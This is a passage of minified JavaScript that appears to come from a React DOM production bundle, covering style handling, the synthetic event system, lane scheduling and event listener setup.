ao={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},HS=["Webkit","ms","Moz","O"];Object.keys(ao).forEach(function(e){HS.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),ao[t]=ao[e]})});function Sw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||ao.hasOwnProperty(e)&&ao[e]?(""+t).trim():t+"px"}function Cw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=Sw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var KS=Ze({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Km(e,t){if(t){if(KS[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(ee(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(ee(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(ee(61))}if(t.style!=null&&typeof t.style!="object")throw Error(ee(62))}}function Gm(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ym=null;function $h(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var qm=null,Ka=null,Ga=null;function Wv(e){if(e=nl(e)){if(typeof qm!="function")throw Error(ee(280));var t=e.stateNode;t&&(t=Ju(t),qm(e.stateNode,e.type,t))}}function Pw(e){Ka?Ga?Ga.push(e):Ga=[e]:Ka=e}function Ew(){if(Ka){var e=Ka,t=Ga;if(Ga=Ka=null,Wv(e),t)for(e=0;e<t.length;e++)Wv(t[e])}}function _w(e,t){return e(t)}function Aw(){}var Tf=!1;function Ow(e,t,n){if(Tf)return e(t,n);Tf=!0;try{return _w(e,t,n)}finally{Tf=!1,(Ka!==null||Ga!==null)&&(Aw(),Ew())}}function vo(e,t){var n=e.stateNode;if(n===null)return null;var r=Ju(n);if(r===null)return null;n=r[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":case"onMouseEnter":(r=!r.disabled)||(e=e.type,r=!(e==="button"||e==="input"||e==="select"||e==="textarea")),e=!r;break e;default:e=!1}if(e)return null;if(n&&typeof n!="function")throw Error(ee(231,t,typeof n));return n}var Xm=!1;if(_r)try{var Ts={};Object.defineProperty(Ts,"passive",{get:function(){Xm=!0}}),window.addEventListener("test",Ts,Ts),window.removeEventListener("test",Ts,Ts)}catch{Xm=!1}function GS(e,t,n,r,i,s,o,l,c){var u=Array.prototype.slice.call(arguments,3);try{t.apply(n,u)}catch(d){this.onError(d)}}var so=!1,Ec=null,_c=!1,Zm=null,YS={onError:function(e){so=!0,Ec=e}};function qS(e,t,n,r,i,s,o,l,c){so=!1,Ec=null,GS.apply(YS,arguments)}function XS(e,t,n,r,i,s,o,l,c){if(qS.apply(this,arguments),so){if(so){var u=Ec;so=!1,Ec=null}else throw Error(ee(198));_c||(_c=!0,Zm=u)}}function va(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do t=e,t.flags&4098&&(n=t.return),e=t.return;while(e)}return t.tag===3?n:null}function Tw(e){if(e.tag===13){var t=e.memoizedState;if(t===null&&(e=e.alternate,e!==null&&(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function Uv(e){if(va(e)!==e)throw Error(ee(188))}function ZS(e){var t=e.alternate;if(!t){if(t=va(e),t===null)throw Error(ee(188));return t!==e?null:e}for(var n=e,r=t;;){var i=n.return;if(i===null)break;var s=i.alternate;if(s===null){if(r=i.return,r!==null){n=r;continue}break}if(i.child===s.child){for(s=i.child;s;){if(s===n)return Uv(i),e;if(s===r)return Uv(i),t;s=s.sibling}throw Error(ee(188))}if(n.return!==r.return)n=i,r=s;else{for(var o=!1,l=i.child;l;){if(l===n){o=!0,n=i,r=s;break}if(l===r){o=!0,r=i,n=s;break}l=l.sibling}if(!o){for(l=s.child;l;){if(l===n){o=!0,n=s,r=i;break}if(l===r){o=!0,r=s,n=i;break}l=l.sibling}if(!o)throw Error(ee(189))}}if(n.alternate!==r)throw Error(ee(190))}if(n.tag!==3)throw Error(ee(188));return n.stateNode.current===n?e:t}function Mw(e){return e=ZS(e),e!==null?Lw(e):null}function Lw(e){if(e.tag===5||e.tag===6)return e;for(e=e.child;e!==null;){var t=Lw(e);if(t!==null)return t;e=e.sibling}return null}var Iw=pn.unstable_scheduleCallback,Vv=pn.unstable_cancelCallback,QS=pn.unstable_shouldYield,JS=pn.unstable_requestPaint,at=pn.unstable_now,eC=pn.unstable_getCurrentPriorityLevel,Bh=pn.unstable_ImmediatePriority,Dw=pn.unstable_UserBlockingPriority,Ac=pn.unstable_NormalPriority,tC=pn.unstable_LowPriority,Rw=pn.unstable_IdlePriority,qu=null,ur=null;function nC(e){if(ur&&typeof ur.onCommitFiberRoot=="function")try{ur.onCommitFiberRoot(qu,e,void 0,(e.current.flags&128)===128)}catch{}}var Kn=Math.clz32?Math.clz32:aC,rC=Math.log,iC=Math.LN2;function aC(e){return e>>>=0,e===0?32:31-(rC(e)/iC|0)|0}var Pl=64,El=4194304;function eo(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Oc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,s=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=eo(l):(s&=o,s!==0&&(r=eo(s)))}else o=n&~i,o!==0?r=eo(o):s!==0&&(r=eo(s));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,s=t&-t,i>=s||i===16&&(s&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0<t;)n=31-Kn(t),i=1<<n,r|=e[n],t&=~i;return r}function sC(e,t){switch(e){case 1:case 2:case 4:return t+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return-1;case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function oC(e,t){for(var n=e.suspendedLanes,r=e.pingedLanes,i=e.expirationTimes,s=e.pendingLanes;0<s;){var o=31-Kn(s),l=1<<o,c=i[o];c===-1?(!(l&n)||l&r)&&(i[o]=sC(l,t)):c<=t&&(e.expiredLanes|=l),s&=~l}}function Qm(e){return e=e.pendingLanes&-1073741825,e!==0?e:e&1073741824?1073741824:0}function $w(){var e=Pl;return Pl<<=1,!(Pl&4194240)&&(Pl=64),e}function Mf(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function el(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Kn(t),e[t]=n}function lC(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0<n;){var i=31-Kn(n),s=1<<i;t[i]=0,r[i]=-1,e[i]=-1,n&=~s}}function Fh(e,t){var n=e.entangledLanes|=t;for(e=e.entanglements;n;){var r=31-Kn(n),i=1<<r;i&t|e[r]&t&&(e[r]|=t),n&=~i}}var Le=0;function Bw(e){return e&=-e,1<e?4<e?e&268435455?16:536870912:4:1}var Fw,Wh,Ww,Uw,Vw,Jm=!1,_l=[],di=null,fi=null,mi=null,go=new Map,yo=new Map,ii=[],cC="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" ");function Hv(e,t){switch(e){case"focusin":case"focusout":di=null;break;case"dragenter":case"dragleave":fi=null;break;case"mouseover":case"mouseout":mi=null;break;case"pointerover":case"pointerout":go.delete(t.pointerId);break;case"gotpointercapture":case"lostpointercapture":yo.delete(t.pointerId)}}function Ms(e,t,n,r,i,s){return e===null||e.nativeEvent!==s?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:s,targetContainers:[i]},t!==null&&(t=nl(t),t!==null&&Wh(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,i!==null&&t.indexOf(i)===-1&&t.push(i),e)}function uC(e,t,n,r,i){switch(t){case"focusin":return di=Ms(di,e,t,n,r,i),!0;case"dragenter":return fi=Ms(fi,e,t,n,r,i),!0;case"mouseover":return mi=Ms(mi,e,t,n,r,i),!0;case"pointerover":var s=i.pointerId;return go.set(s,Ms(go.get(s)||null,e,t,n,r,i)),!0;case"gotpointercapture":return s=i.pointerId,yo.set(s,Ms(yo.get(s)||null,e,t,n,r,i)),!0}return!1}function Hw(e){var t=Hi(e.target);if(t!==null){var n=va(t);if(n!==null){if(t=n.tag,t===13){if(t=Tw(n),t!==null){e.blockedOn=t,Vw(e.priority,function(){Ww(n)});return}}else if(t===3&&n.stateNode.current.memoizedState.isDehydrated){e.blockedOn=n.tag===3?n.stateNode.containerInfo:null;return}}}e.blockedOn=null}function dc(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0<t.length;){var n=ep(e.domEventName,e.eventSystemFlags,t[0],e.nativeEvent);if(n===null){n=e.nativeEvent;var r=new n.constructor(n.type,n);Ym=r,n.target.dispatchEvent(r),Ym=null}else return t=nl(n),t!==null&&Wh(t),e.blockedOn=n,!1;t.shift()}return!0}function Kv(e,t,n){dc(e)&&n.delete(t)}function dC(){Jm=!1,di!==null&&dc(di)&&(di=null),fi!==null&&dc(fi)&&(fi=null),mi!==null&&dc(mi)&&(mi=null),go.forEach(Kv),yo.forEach(Kv)}function Ls(e,t){e.blockedOn===t&&(e.blockedOn=null,Jm||(Jm=!0,pn.unstable_scheduleCallback(pn.unstable_NormalPriority,dC)))}function bo(e){function t(i){return Ls(i,e)}if(0<_l.length){Ls(_l[0],e);for(var n=1;n<_l.length;n++){var r=_l[n];r.blockedOn===e&&(r.blockedOn=null)}}for(di!==null&&Ls(di,e),fi!==null&&Ls(fi,e),mi!==null&&Ls(mi,e),go.forEach(t),yo.forEach(t),n=0;n<ii.length;n++)r=ii[n],r.blockedOn===e&&(r.blockedOn=null);for(;0<ii.length&&(n=ii[0],n.blockedOn===null);)Hw(n),n.blockedOn===null&&ii.shift()}var Ya=Ur.ReactCurrentBatchConfig,Tc=!0;function fC(e,t,n,r){var i=Le,s=Ya.transition;Ya.transition=null;try{Le=1,Uh(e,t,n,r)}finally{Le=i,Ya.transition=s}}function mC(e,t,n,r){var i=Le,s=Ya.transition;Ya.transition=null;try{Le=4,Uh(e,t,n,r)}finally{Le=i,Ya.transition=s}}function Uh(e,t,n,r){if(Tc){var i=ep(e,t,n,r);if(i===null)Vf(e,t,r,Mc,n),Hv(e,r);else if(uC(i,e,t,n,r))r.stopPropagation();else if(Hv(e,r),t&4&&-1<cC.indexOf(e)){for(;i!==null;){var s=nl(i);if(s!==null&&Fw(s),s=ep(e,t,n,r),s===null&&Vf(e,t,r,Mc,n),s===i)break;i=s}i!==null&&r.stopPropagation()}else Vf(e,t,r,null,n)}}var Mc=null;function ep(e,t,n,r){if(Mc=null,e=$h(r),e=Hi(e),e!==null)if(t=va(e),t===null)e=null;else if(n=t.tag,n===13){if(e=Tw(t),e!==null)return e;e=null}else if(n===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null);return Mc=e,null}function Kw(e){switch(e){case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 1;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"toggle":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 4;case"message":switch(eC()){case Bh:return 1;case Dw:return 4;case Ac:case tC:return 16;case Rw:return 536870912;default:return 16}default:return 16}}var oi=null,Vh=null,fc=null;function Gw(){if(fc)return fc;var e,t=Vh,n=t.length,r,i="value"in oi?oi.value:oi.textContent,s=i.length;for(e=0;e<n&&t[e]===i[e];e++);var o=n-e;for(r=1;r<=o&&t[n-r]===i[s-r];r++);return fc=i.slice(e,1<r?1-r:void 0)}function mc(e){var t=e.keyCode;return"charCode"in e?(e=e.charCode,e===0&&t===13&&(e=13)):e=t,e===10&&(e=13),32<=e||e===13?e:0}function Al(){return!0}function Gv(){return!1}function vn(e){function t(n,r,i,s,o){this._reactName=n,this._targetInst=i,this.type=r,this.nativeEvent=s,this.target=o,this.currentTarget=null;for(var l in e)e.hasOwnProperty(l)&&(n=e[l],this[l]=n?n(s):s[l]);return this.isDefaultPrevented=(s.defaultPrevented!=null?s.defaultPrevented:s.returnValue===!1)?Al:Gv,this.isPropagationStopped=Gv,this}return Ze(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var n=this.nativeEvent;n&&(n.preventDefault?n.preventDefault():typeof n.returnValue!="unknown"&&(n.returnValue=!1),this.isDefaultPrevented=Al)},stopPropagation:function(){var n=this.nativeEvent;n&&(n.stopPropagation?n.stopPropagation():typeof n.cancelBubble!="unknown"&&(n.cancelBubble=!0),this.isPropagationStopped=Al)},persist:function(){},isPersistent:Al}),t}var xs={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},Hh=vn(xs),tl=Ze({},xs,{view:0,detail:0}),pC=vn(tl),Lf,If,Is,Xu=Ze({},tl,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Kh,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==Is&&(Is&&e.type==="mousemove"?(Lf=e.screenX-Is.screenX,If=e.screenY-Is.screenY):If=Lf=0,Is=e),Lf)},movementY:function(e){return"movementY"in e?e.movementY:If}}),Yv=vn(Xu),hC=Ze({},Xu,{dataTransfer:0}),xC=vn(hC),vC=Ze({},tl,{relatedTarget:0}),Df=vn(vC),gC=Ze({},xs,{animationName:0,elapsedTime:0,pseudoElement:0}),yC=vn(gC),bC=Ze({},xs,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),wC=vn(bC),jC=Ze({},xs,{data:0}),qv=vn(jC),NC={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},kC={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},zC={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function SC(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=zC[e])?!!t[e]:!1}function Kh(){return SC}var CC=Ze({},tl,{key:function(e){if(e.key){var t=NC[e.key]||e.key;if(t!=="Unidentified")return t}return e.type==="keypress"?(e=mc(e),e===13?"Enter":String.fromCharCode(e)):e.type==="keydown"||e.type==="keyup"?kC[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Kh,charCode:function(e){return e.type==="keypress"?mc(e):0},keyCode:function(e){return e.type==="keydown"||e.type==="keyup"?e.keyCode:0},which:function(e){return e.type==="keypress"?mc(e):e.type==="keydown"||e.type==="keyup"?e.keyCode:0}}),PC=vn(CC),EC=Ze({},Xu,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),Xv=vn(EC),_C=Ze({},tl,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Kh}),AC=vn(_C),OC=Ze({},xs,{propertyName:0,elapsedTime:0,pseudoElement:0}),TC=vn(OC),MC=Ze({},Xu,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),LC=vn(MC),IC=[9,13,27,32],Gh=_r&&"CompositionEvent"in window,oo=null;_r&&"documentMode"in document&&(oo=document.documentMode);var DC=_r&&"TextEvent"in window&&!oo,Yw=_r&&(!Gh||oo&&8<oo&&11>=oo),Zv=" ",Qv=!1;function qw(e,t){switch(e){case"keyup":return IC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Xw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Oa=!1;function RC(e,t){switch(e){case"compositionend":return Xw(t);case"keypress":return t.which!==32?null:(Qv=!0,Zv);case"textInput":return e=t.data,e===Zv&&Qv?null:e;default:return null}}function $C(e,t){if(Oa)return e==="compositionend"||!Gh&&qw(e,t)?(e=Gw(),fc=Vh=oi=null,Oa=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"compositionend":return Yw&&t.locale!=="ko"?null:t.data;default:return null}}var BC={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Jv(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t==="input"?!!BC[e.type]:t==="textarea"}function Zw(e,t,n,r){Pw(r),t=Lc(t,"onChange"),0<t.length&&(n=new Hh("onChange","change",null,n,r),e.push({event:n,listeners:t}))}var lo=null,wo=null;function FC(e){l5(e,0)}function Zu(e){var t=La(e);if(ww(t))return e}function WC(e,t){if(e==="change")return t}var Qw=!1;if(_r){var Rf;if(_r){var $f="oninput"in document;if(!$f){var eg=document.createElement("div");eg.setAttribute("oninput","return;"),$f=typeof eg.oninput=="function"}Rf=$f}else Rf=!1;Qw=Rf&&(!document.documentMode||9<document.documentMode)}function tg(){lo&&(lo.detachEvent("onpropertychange",Jw),wo=lo=null)}function Jw(e){if(e.propertyName==="value"&&Zu(wo)){var t=[];Zw(t,wo,e,$h(e)),Ow(FC,t)}}function UC(e,t,n){e==="focusin"?(tg(),lo=t,wo=n,lo.attachEvent("onpropertychange",Jw)):e==="focusout"&&tg()}function VC(e){if(e==="selectionchange"||e==="keyup"||e==="keydown")return Zu(wo)}function HC(e,t){if(e==="click")return Zu(t)}function KC(e,t){if(e==="input"||e==="change")return Zu(t)}function GC(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var qn=typeof Object.is=="function"?Object.is:GC;function jo(e,t){if(qn(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var i=n[r];if(!Im.call(t,i)||!qn(e[i],t[i]))return!1}return!0}function ng(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function rg(e,t){var n=ng(e);e=0;for(var r;n;){if(n.nodeType===3){if(r=e+n.textContent.length,e<=t&&r>=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=ng(n)}}function e5(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?e5(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function t5(){for(var e=window,t=Pc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=Pc(e.document)}return t}function Yh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function YC(e){var t=t5(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&e5(n.ownerDocument.documentElement,n)){if(r!==null&&Yh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,s=Math.min(r.start,i);r=r.end===void 0?s:Math.min(r.end,i),!e.extend&&s>r&&(i=r,r=s,s=i),i=rg(n,s);var o=rg(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),s>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n<t.length;n++)e=t[n],e.element.scrollLeft=e.left,e.element.scrollTop=e.top}}var qC=_r&&"documentMode"in document&&11>=document.documentMode,Ta=null,tp=null,co=null,np=!1;function ig(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;np||Ta==null||Ta!==Pc(r)||(r=Ta,"selectionStart"in r&&Yh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),co&&jo(co,r)||(co=r,r=Lc(tp,"onSelect"),0<r.length&&(t=new Hh("onSelect","select",null,t,n),e.push({event:t,listeners:r}),t.target=Ta)))}function Ol(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var Ma={animationend:Ol("Animation","AnimationEnd"),animationiteration:Ol("Animation","AnimationIteration"),animationstart:Ol("Animation","AnimationStart"),transitionend:Ol("Transition","TransitionEnd")},Bf={},n5={};_r&&(n5=document.createElement("div").style,"AnimationEvent"in window||(delete Ma.animationend.animation,delete Ma.animationiteration.animation,delete Ma.animationstart.animation),"TransitionEvent"in window||delete Ma.transitionend.transition);function Qu(e){if(Bf[e])return Bf[e];if(!Ma[e])return e;var t=Ma[e],n;for(n in t)if(t.hasOwnProperty(n)&&n in n5)return Bf[e]=t[n];return e}var r5=Qu("animationend"),i5=Qu("animationiteration"),a5=Qu("animationstart"),s5=Qu("transitionend"),o5=new Map,ag="abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel".split(" ");function Pi(e,t){o5.set(e,t),xa(t,[e])}for(var Ff=0;Ff<ag.length;Ff++){var Wf=ag[Ff],XC=Wf.toLowerCase(),ZC=Wf[0].toUpperCase()+Wf.slice(1);Pi(XC,"on"+ZC)}Pi(r5,"onAnimationEnd");Pi(i5,"onAnimationIteration");Pi(a5,"onAnimationStart");Pi("dblclick","onDoubleClick");Pi("focusin","onFocus");Pi("focusout","onBlur");Pi(s5,"onTransitionEnd");es("onMouseEnter",["mouseout","mouseover"]);es("onMouseLeave",["mouseout","mouseover"]);es("onPointerEnter",["pointerout","pointerover"]);es("onPointerLeave",["pointerout","pointerover"]);xa("onChange","change click focusin focusout input keydown keyup selectionchange".split(" "));xa("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" "));xa("onBeforeInput",["compositionend","keypress","textInput","paste"]);xa("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" "));xa("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" "));xa("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var to="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),QC=new Set("cancel close invalid load scroll toggle".split(" ").concat(to));function sg(e,t,n){var r=e.type||"unknown-event";e.currentTarget=n,XS(r,t,void 0,e),e.currentTarget=null}function l5(e,t){t=(t&4)!==0;for(var n=0;n<e.length;n++){var r=e[n],i=r.event;r=r.listeners;e:{var s=void 0;if(t)for(var o=r.length-1;0<=o;o--){var l=r[o],c=l.instance,u=l.currentTarget;if(l=l.listener,c!==s&&i.isPropagationStopped())break e;sg(i,l,u),s=c}else for(o=0;o<r.length;o++){if(l=r[o],c=l.instance,u=l.currentTarget,l=l.listener,c!==s&&i.isPropagationStopped())break e;sg(i,l,u),s=c}}}if(_c)throw e=Zm,_c=!1,Zm=null,e}function Fe(e,t){var n=t[op];n===void 0&&(n=t[op]=new Set);var r=e+"__bubble";n.has(r)||(c5(t,e,2,!1),n.add(r))}function Uf(e,t,n){var r=0;t&&(r|=4),c5(n,e,r,t)}var Tl="_reactListening"+Math.random().toString(36).slice(2);function No(e){if(!e[Tl]){e[Tl]=!0,xw.forEach(function(n){n!=="selectionchange"&&(QC.has(n)||Uf(n,!1,e),Uf(n,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[Tl]||(t[Tl]=!0,Uf("selectionchange",!1,t))}}function c5(e,t,n,r){switch(Kw(t)){case 1:var i=fC;break;case 4:i=mC;break;default:i=Uh}n=i.bind(null,t,n,e),i=void 0,!Xm||t!=="touchstart"&&t!=="touchmove"&&t!=="wheel"||(i=!0),r?i!==void 0?e.addEventListener(t,n,{capture:!0,passive:i}):e.addEventListener(t,n,!0):i!==void 0?e.addEventListener(t,n,{passive:i}):e.addEventListener(t,n,!1)}function Vf(e,t,n,r,i){var s=r;if(!(t&1)&&!(t&2)&&r!==null)e:for(;;){if(r===null)return;var o=r.tag;if(o===3||o===4){var l=r.stateNode.containerInfo;if(l===i||l.nodeType===8&&l.parentNode===i)break;if(o===4)for(o=r.return;o!==null;){var c=o.tag;if((c===3||c===4)&&(c=o.stateNode.containerInfo,c===i||c.nodeType===8&&c.parentNode===i))return;o=o.return}for(;l!==null;){if(o=Hi(l),o===null)return;if(c=o.tag,c===5||c===6){r=s=o;continue e}l=l.parentNode}}r=r.return}Ow(function(){var 